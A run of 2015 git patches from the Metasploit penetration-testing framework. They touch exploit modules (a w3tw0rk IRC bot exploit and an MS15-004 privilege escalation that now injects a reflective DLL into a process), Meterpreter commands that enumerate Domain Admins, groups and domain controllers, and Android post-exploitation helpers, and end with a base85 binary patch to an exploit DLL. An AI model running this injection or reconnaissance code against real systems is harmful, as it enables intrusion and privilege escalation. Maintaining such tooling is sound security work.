-9,7 +9,7 @@ require 'msf/core/payload/uuid/options' module Metasploit3 - CachedSize = 6313 + CachedSize = 5924 include Msf::Payload::Stager include Msf::Payload::Java diff --git a/modules/payloads/stagers/java/reverse_tcp.rb b/modules/payloads/stagers/java/reverse_tcp.rb index 5e6284c129..f847556523 100644 --- a/modules/payloads/stagers/java/reverse_tcp.rb +++ b/modules/payloads/stagers/java/reverse_tcp.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 5500 + CachedSize = 5110 include Msf::Payload::Stager include Msf::Payload::Java From 6edba2cdc86618350b613540e3f6d479a5a2f3a2 Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Wed, 26 Aug 2015 09:11:30 +0800 Subject: [PATCH 0364/2172] Update w3tw0rk_exec.rb --- modules/exploits/multi/misc/w3tw0rk_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/misc/w3tw0rk_exec.rb b/modules/exploits/multi/misc/w3tw0rk_exec.rb index ae6b6e1226..c0ed27c2a8 100644 --- a/modules/exploits/multi/misc/w3tw0rk_exec.rb +++ b/modules/exploits/multi/misc/w3tw0rk_exec.rb @@ -70,7 +70,7 @@ class Metasploit3 < Msf::Exploit::Remote vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel") return Exploit::CheckCode::Unknown end - response = w3tw0rk_login(sock) + quit(sock) disconnect From 892f427664e30eb8cf160b4fad70a85c1c577e87 Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Wed, 26 Aug 2015 09:18:15 +0800 Subject: [PATCH 0365/2172] Update w3tw0rk_exec.rb removed w3tw0rk_login --- modules/exploits/multi/misc/w3tw0rk_exec.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/misc/w3tw0rk_exec.rb b/modules/exploits/multi/misc/w3tw0rk_exec.rb index c0ed27c2a8..be863e4a27 100644 --- a/modules/exploits/multi/misc/w3tw0rk_exec.rb +++ b/modules/exploits/multi/misc/w3tw0rk_exec.rb @@ -70,7 +70,7 @@ class Metasploit3 < Msf::Exploit::Remote vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel") return Exploit::CheckCode::Unknown end - + quit(sock) disconnect @@ -151,7 +151,7 @@ class Metasploit3 < Msf::Exploit::Remote return end - print_status("#{rhost}:#{rport} - Exploiting the w3tw0rk IRC bot...") + print_status("#{rhost}:#{rport} - Exploiting the IRC bot...") w3tw0rk_command(sock) quit(sock) From 3f994e964d4e7d544601d4bb568db2da58c4f35d Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Tue, 25 Aug 2015 23:23:26 -0500 Subject: [PATCH 0366/2172] Change method name and update rspec --- lib/msf/core/post/android/system.rb | 12 ++---------- spec/lib/msf/core/post/android/priv_spec.rb | 8 ++++---- 2 files changed, 6 insertions(+), 14 deletions(-) diff --git a/lib/msf/core/post/android/system.rb b/lib/msf/core/post/android/system.rb index 2241081ac5..38f1afe4f1 100644 --- a/lib/msf/core/post/android/system.rb +++ b/lib/msf/core/post/android/system.rb @@ -12,14 +12,12 @@ module System include Msf::Post::Common include Msf::Post::File - public - # Returns system information from build.prop. # # @return [Hash] System information. - def get_sysinfo + def get_build_prop sys_data = {} - build_prop = get_build_prop + build_prop = cmd_exec('cat /system/build.prop') return sys_data if build_prop.blank? @@ -30,10 +28,4 @@ module System return sys_data end - private - - def get_build_prop - cmd_exec('cat /system/build.prop') - end - end ; end ; end ; end \ No newline at end of file diff --git a/spec/lib/msf/core/post/android/priv_spec.rb b/spec/lib/msf/core/post/android/priv_spec.rb index b65b0c8f25..527d58a03c 100644 --- a/spec/lib/msf/core/post/android/priv_spec.rb +++ b/spec/lib/msf/core/post/android/priv_spec.rb @@ -19,15 +19,15 @@ describe Msf::Post::Android::Priv do end describe '#is_root?' do - context 'when root' do - it 'returns TrueClass' do + context 'when not root' do + it 'returns FalseClass' do allow(subject).to receive(:cmd_exec).with('id').and_return(nonroot_id) expect(subject.is_root?).to be_falsey end end - context 'when non root' do - it 'reeturns FalseClass' do + context 'when root' do + it 'returns TrueClass' do allow(subject).to receive(:cmd_exec).with('id').and_return(root_id) expect(subject.is_root?).to be_truthy end From ad3e37fda2ff8f293d88c6e75f1c8125dc1eccac Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Wed, 26 Aug 2015 02:38:13 -0500 Subject: [PATCH 0367/2172] Fix rspec --- spec/lib/msf/core/post/android/system_spec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/lib/msf/core/post/android/system_spec.rb b/spec/lib/msf/core/post/android/system_spec.rb index ef9d5c1e14..e24bc0cbf0 100644 --- a/spec/lib/msf/core/post/android/system_spec.rb +++ b/spec/lib/msf/core/post/android/system_spec.rb @@ -23,7 +23,7 @@ ro.build.version.release=4.1.1 it 'returns the android version' do allow(subject).to receive(:cmd_exec).and_return(build_prop_output) - expect(subject.get_sysinfo['ro.build.version.release']).to eq(expected_android_version) + expect(subject.get_build_prop['ro.build.version.release']).to eq(expected_android_version) end end From 7cee4d0ad15da1931701bca36bf4f7c5c3ef94b5 Mon Sep 17 00:00:00 2001 From: Stuart Morgan <stuart.morgan@mwrinfosecurity.com> Date: Wed, 26 Aug 2015 14:14:15 +0100 Subject: [PATCH 0368/2172] Added the following commands: adsi_group_enum - Lists all groups on the specified domain adsi_nested_group_user_enum - Lists all users on the specified domain who are members of a given group DN (taking into account recursive/nested groups) --- .../console/command_dispatcher/extapi/adsi.rb | 85 +++++++++++++++++++ 1 file changed, 85 insertions(+) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb index dfa41fb5fc..ae77551125 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb @@ -27,6 +27,8 @@ class Console::CommandDispatcher::Extapi::Adsi def commands { "adsi_user_enum" => "Enumerate all users on the specified domain.", + "adsi_group_enum" => "Enumerate all groups on the specified domain.", + "adsi_nested_group_user_enum" => "Enumerate users who are effectively members of a group, taking intermediate groups into account.", "adsi_computer_enum" => "Enumerate all computers on the specified domain.", "adsi_domain_query" => "Enumerate all objects on the specified domain that match a filter." } @@ -39,6 +41,52 @@ class Console::CommandDispatcher::Extapi::Adsi "Extapi: ADSI Management" end + # + # Options for the adsi_nested_group_user_enum command. + # + @@adsi_nested_group_user_enum_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ], + "-m" => [ true, "Maximum results to return." ], + "-p" => [ true, "Result set page size." ] + ) + + def adsi_nested_group_user_enum_usage + print( + "\nUsage: adsi_nested_group_user_enum <domain> <Group DN> [-h] [-m maxresults] [-p pagesize]\n\n" + + "Enumerate the users who are members of the named group, taking nested groups into account." + + "For example, specifying the 'Domain Admins' group DN will list all users who are effectively\n" + + "members of the Domain Admins group, even if they are members of intermediary groups.\n\n" + + "Example:\n" + + "adsi_nested_group_user_enum MWR \"CN=Domain Admins,CN=Users,DC=mwrinfosecurity,DC=com\"\n\n" + + @@adsi_nested_group_user_enum_opts.usage) + end + + # + # Enumerate domain users. + # + def cmd_adsi_nested_group_user_enum(*args) + args.unshift("-h") if args.length == 0 + if args.include?("-h") + adsi_nested_group_user_enum_usage + return true + end + + domain = args.shift + groupdn = args.shift + # This OID (canonical name = LDAP_MATCHING_RULE_IN_CHAIN) will recursively search each 'memberof' parent + # https://support.microsoft.com/en-us/kb/275523 for more information -stufus + filter = "(&(objectClass=user)(memberof:1.2.840.113556.1.4.1941:=#{groupdn}))" + fields = [ + "samaccountname", + "name", + "distinguishedname", + "description", + "comment" + ] + args = [domain, filter] + fields + args + return cmd_adsi_domain_query(*args) + end + # # Options for the adsi_user_enum command. # @@ -80,6 +128,43 @@ class Console::CommandDispatcher::Extapi::Adsi return cmd_adsi_domain_query(*args) end + # + # Options for the adsi_user_enum command. + # + @@adsi_group_enum_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ], + "-m" => [ true, "Maximum results to return." ], + "-p" => [ true, "Result set page size." ] + ) + + def adsi_group_enum_usage + print( + "\nUsage: adsi_group_enum <domain> [-h] [-m maxresults] [-p pagesize]\n\n" + + "Enumerate the groups on the target domain.\n\n" + + "Enumeration returns the group name and description" + + @@adsi_group_enum_opts.usage) + end + # + # Enumerate domain groups. + # + def cmd_adsi_group_enum(*args) + args.unshift("-h") if args.length == 0 + if args.include?("-h") + adsi_group_enum_usage + return true + end + + domain = args.shift + filter = "(objectClass=group)" + fields = [ + "name", + "distinguishedname", + "description", + ] + args = [domain, filter] + fields + args + return cmd_adsi_domain_query(*args) + end + # # Options for the adsi_computer_enum command. # From 59cf75c5a820b59c673c394f6191fe533e7f7eb0 Mon Sep 17 00:00:00 2001 From: Stuart Morgan <stuart.morgan@mwrinfosecurity.com> Date: Wed, 26 Aug 2015 15:03:28 +0100 Subject: [PATCH 0369/2172] Updated description to make it more obvious & added specific DC enumeration --- .../ui/console/command_dispatcher/extapi/adsi.rb | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb index ae77551125..986c3ae232 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb @@ -28,8 +28,9 @@ class Console::CommandDispatcher::Extapi::Adsi { "adsi_user_enum" => "Enumerate all users on the specified domain.", "adsi_group_enum" => "Enumerate all groups on the specified domain.", - "adsi_nested_group_user_enum" => "Enumerate users who are effectively members of a group, taking intermediate groups into account.", + "adsi_nested_group_user_enum" => "Recursively enumerate users who are effectively members of the group specified.", "adsi_computer_enum" => "Enumerate all computers on the specified domain.", + "adsi_dc_enum" => "Enumerate all domain controllers on the specified domain.", "adsi_domain_query" => "Enumerate all objects on the specified domain that match a filter." } end @@ -62,7 +63,7 @@ class Console::CommandDispatcher::Extapi::Adsi end # - # Enumerate domain users. + # Enumerate domain groups. # def cmd_adsi_nested_group_user_enum(*args) args.unshift("-h") if args.length == 0 @@ -129,7 +130,7 @@ class Console::CommandDispatcher::Extapi::Adsi end # - # Options for the adsi_user_enum command. + # Options for the adsi_group_enum command. # @@adsi_group_enum_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help banner" ], From 4bac21b7b9d10446bab9d8a1443c5d6d083032bd Mon Sep 17 00:00:00 2001 From: Stuart Morgan <stuart.morgan@mwrinfosecurity.com> Date: Wed, 26 Aug 2015 15:33:54 +0100 Subject: [PATCH 0370/2172] Added command to list the domain controllers Also added more information relating to the computers from LDAP --- .../console/command_dispatcher/extapi/adsi.rb | 50 ++++++++++++++++++- 1 file changed, 49 insertions(+), 1 deletion(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb index 986c3ae232..762ab5301e 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb @@ -67,7 +67,7 @@ class Console::CommandDispatcher::Extapi::Adsi # def cmd_adsi_nested_group_user_enum(*args) args.unshift("-h") if args.length == 0 - if args.include?("-h") + if args.include?("-h") || args.length < 2 adsi_nested_group_user_enum_usage return true end @@ -197,7 +197,55 @@ class Console::CommandDispatcher::Extapi::Adsi filter = "(objectClass=computer)" fields = [ "name", + "dnshostname", "distinguishedname", + "operatingsystem", + "operatingsystemversion", + "operatingsystemservicepack", + "description", + "comment" + ] + args = [domain, filter] + fields + args + return cmd_adsi_domain_query(*args) + end + + # + # Options for the adsi_dc_enum command. + # + @@adsi_dc_enum_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ], + "-m" => [ true, "Maximum results to return." ], + "-p" => [ true, "Result set page size." ] + ) + + def adsi_dc_enum_usage + print( + "\nUsage: adsi_dc_enum <domain> [-h] [-m maxresults] [-p pagesize]\n\n" + + "Enumerate the dcs on the target domain.\n\n" + + "Enumeration returns information such as the dc name, desc, and comment.\n" + + @@adsi_dc_enum_opts.usage) + end + + # + # Enumerate domain dcs. + # + def cmd_adsi_dc_enum(*args) + args.unshift("-h") if args.length == 0 + if args.include?("-h") + adsi_dc_enum_usage + return true + end + + domain = args.shift + # This LDAP filter will pull out domain controllers + filter = "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))" + fields = [ + "name", + "dnshostname", + "distinguishedname", + "operatingsystem", + "operatingsystemversion", + "operatingsystemservicepack", "description", "comment" ] From 328191aa51492b0d724a7423634f4dd8fb1e1d17 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Wed, 26 Aug 2015 09:56:17 -0500 Subject: [PATCH 0371/2172] Bump mime-types to 2.6.1 Currently, we're stuck on mime-types 2.4.3. Doesn't seem to be any reason for this, and incidentally, 2.4.3 is signed with a mystery cert. We should bump to 2.6.1 to get out of gem signing purgatory. Diffs: https://github.com/todb-r7/ruby-mime-types/compare/v2.4.3...v2.6.1 --- Gemfile.lock | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Gemfile.lock b/Gemfile.lock index 8bac76b5b2..5296859b40 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -135,7 +135,7 @@ GEM railties (>= 4.0.9, < 4.1.0) recog (~> 2.0) method_source (0.8.2) - mime-types (2.4.3) + mime-types (2.6.1) mini_portile (0.6.2) minitest (4.7.5) msgpack (0.6.2) From 16341d34a2525f9944ad00f649e500e3cc554e94 Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Wed, 26 Aug 2015 23:34:29 +0800 Subject: [PATCH 0372/2172] Update w3tw0rk_exec.rb --- modules/exploits/multi/misc/w3tw0rk_exec.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/multi/misc/w3tw0rk_exec.rb b/modules/exploits/multi/misc/w3tw0rk_exec.rb index be863e4a27..d8acbad679 100644 --- a/modules/exploits/multi/misc/w3tw0rk_exec.rb +++ b/modules/exploits/multi/misc/w3tw0rk_exec.rb @@ -7,7 +7,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = AverageRanking + Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp @@ -32,7 +32,6 @@ class Metasploit3 < Msf::Exploit::Remote 'Payload' => { 'Space' => 300, # According to RFC 2812, the max length message is 512, including the cr-lf - 'BadChars' => '', 'DisableNops' => true, 'Compat' => { From 3f6c04a445d9cf3f9b11cdf137cbc7bc591a715c Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Wed, 26 Aug 2015 23:48:31 +0800 Subject: [PATCH 0373/2172] Update w3tw0rk_exec.rb --- modules/exploits/multi/misc/w3tw0rk_exec.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/misc/w3tw0rk_exec.rb b/modules/exploits/multi/misc/w3tw0rk_exec.rb index d8acbad679..b9bdd9a91e 100644 --- a/modules/exploits/multi/misc/w3tw0rk_exec.rb +++ b/modules/exploits/multi/misc/w3tw0rk_exec.rb @@ -89,8 +89,10 @@ class Metasploit3 < Msf::Exploit::Remote data << read_data read_data = sock.get_once(-1, 1) end - rescue EOFError + rescue ::EOFError, ::Timeout::Error, ::Errno::ETIMEDOUT => e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") end + data end From ff868f970497e7d6fd7e0b71a862e7f824714656 Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Wed, 26 Aug 2015 23:51:09 +0800 Subject: [PATCH 0374/2172] Update w3tw0rk_exec.rb --- modules/exploits/multi/misc/w3tw0rk_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/misc/w3tw0rk_exec.rb b/modules/exploits/multi/misc/w3tw0rk_exec.rb index b9bdd9a91e..90cee4ad6e 100644 --- a/modules/exploits/multi/misc/w3tw0rk_exec.rb +++ b/modules/exploits/multi/misc/w3tw0rk_exec.rb @@ -92,7 +92,7 @@ class Metasploit3 < Msf::Exploit::Remote rescue ::EOFError, ::Timeout::Error, ::Errno::ETIMEDOUT => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") end - + data end From 5cdf1aeef404809c2c76245500ae52d3e3033862 Mon Sep 17 00:00:00 2001 From: Stuart Morgan <stuart.morgan@mwrinfosecurity.com> Date: Wed, 26 Aug 2015 19:33:09 +0100 Subject: [PATCH 0375/2172] Added examples to the usage-help and run through msftidy --- .../ui/console/command_dispatcher/extapi/adsi.rb | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb index 762ab5301e..43d3a11b2f 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb @@ -58,7 +58,7 @@ class Console::CommandDispatcher::Extapi::Adsi "For example, specifying the 'Domain Admins' group DN will list all users who are effectively\n" + "members of the Domain Admins group, even if they are members of intermediary groups.\n\n" + "Example:\n" + - "adsi_nested_group_user_enum MWR \"CN=Domain Admins,CN=Users,DC=mwrinfosecurity,DC=com\"\n\n" + + " adsi_nested_group_user_enum STUFUS \"CN=Domain Admins,CN=Users,DC=mwrinfosecurity,DC=com\"\n\n" + @@adsi_nested_group_user_enum_opts.usage) end @@ -142,7 +142,9 @@ class Console::CommandDispatcher::Extapi::Adsi print( "\nUsage: adsi_group_enum <domain> [-h] [-m maxresults] [-p pagesize]\n\n" + "Enumerate the groups on the target domain.\n\n" + - "Enumeration returns the group name and description" + + "Enumeration returns the group name and description\n" + + "Example:\n" + + " adsi_group_enum STUFUS\n\n" + @@adsi_group_enum_opts.usage) end # @@ -223,6 +225,8 @@ class Console::CommandDispatcher::Extapi::Adsi "\nUsage: adsi_dc_enum <domain> [-h] [-m maxresults] [-p pagesize]\n\n" + "Enumerate the dcs on the target domain.\n\n" + "Enumeration returns information such as the dc name, desc, and comment.\n" + + "Example:\n" + + " adsi_dc_enum STUFUS\n\n" + @@adsi_dc_enum_opts.usage) end @@ -231,7 +235,7 @@ class Console::CommandDispatcher::Extapi::Adsi # def cmd_adsi_dc_enum(*args) args.unshift("-h") if args.length == 0 - if args.include?("-h") + if args.include?("-h") adsi_dc_enum_usage return true end From dd529013f6a79b2c58ed6f42c833d59061ef6ff6 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 26 Aug 2015 15:12:09 -0500 Subject: [PATCH 0376/2172] Update ruby side --- .../windows/local/ms15_004_tswbproxy.rb | 20 +++++++++---------- 1 file changed, 9 insertions(+), 11 deletions(-) diff --git a/modules/exploits/windows/local/ms15_004_tswbproxy.rb b/modules/exploits/windows/local/ms15_004_tswbproxy.rb index 6aa7b540a8..6fdcf74aad 100644 --- a/modules/exploits/windows/local/ms15_004_tswbproxy.rb +++ b/modules/exploits/windows/local/ms15_004_tswbproxy.rb @@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Local include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Exploit::Powershell + include Msf::Post::Windows::ReflectiveDLLInjection def initialize(info={}) super(update_info(info, { @@ -112,17 +113,14 @@ class Metasploit3 < Msf::Exploit::Local session.railgun.kernel32.SetEnvironmentVariableA('PSHCMD', cmd) print_status('Exploiting...') - temp = get_env('TEMP') - # Using the old meterpreter loader, if it's loaded with - # Reflective DLL Injection the exceptions in the sandbox - # policy won't apply. - session.core.load_library( - 'LibraryFilePath' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0016', 'cve-2015-0016.dll'), - 'TargetFilePath' => temp + '\\cve-2015-0016.dll', - 'UploadLibrary' => true, - 'Extension' => false, - 'SaveToDisk' => false - ) + + process = client.sys.process.open + library_path = ::File.join('/', 'tmp', 'reflective_dll.dll') + print_status("Injecting exploit into #{process.pid}...") + exploit_mem, offset = inject_dll_into_process(process, library_path) + + print_status('Payload injected. Executing exploit...') + process.thread.create(exploit_mem + offset) end def cleanup From 5d0ed797a32d7a6cffef3926ee4d05a831d00634 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 26 Aug 2015 15:15:32 -0500 Subject: [PATCH 0377/2172] Update DLL --- data/exploits/CVE-2015-0016/cve-2015-0016.dll | Bin 82944 -> 83456 bytes .../windows/local/ms15_004_tswbproxy.rb | 2 +- 2 files changed, 1 insertion(+), 1 deletion(-) diff --git a/data/exploits/CVE-2015-0016/cve-2015-0016.dll b/data/exploits/CVE-2015-0016/cve-2015-0016.dll index aa66055e6d6af76cc1a7a1934397f858d13e92a5..2d2f1dbba3fb6fecf1824311cedf084f2b4c19ae 100755 GIT binary patch delta 28070 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 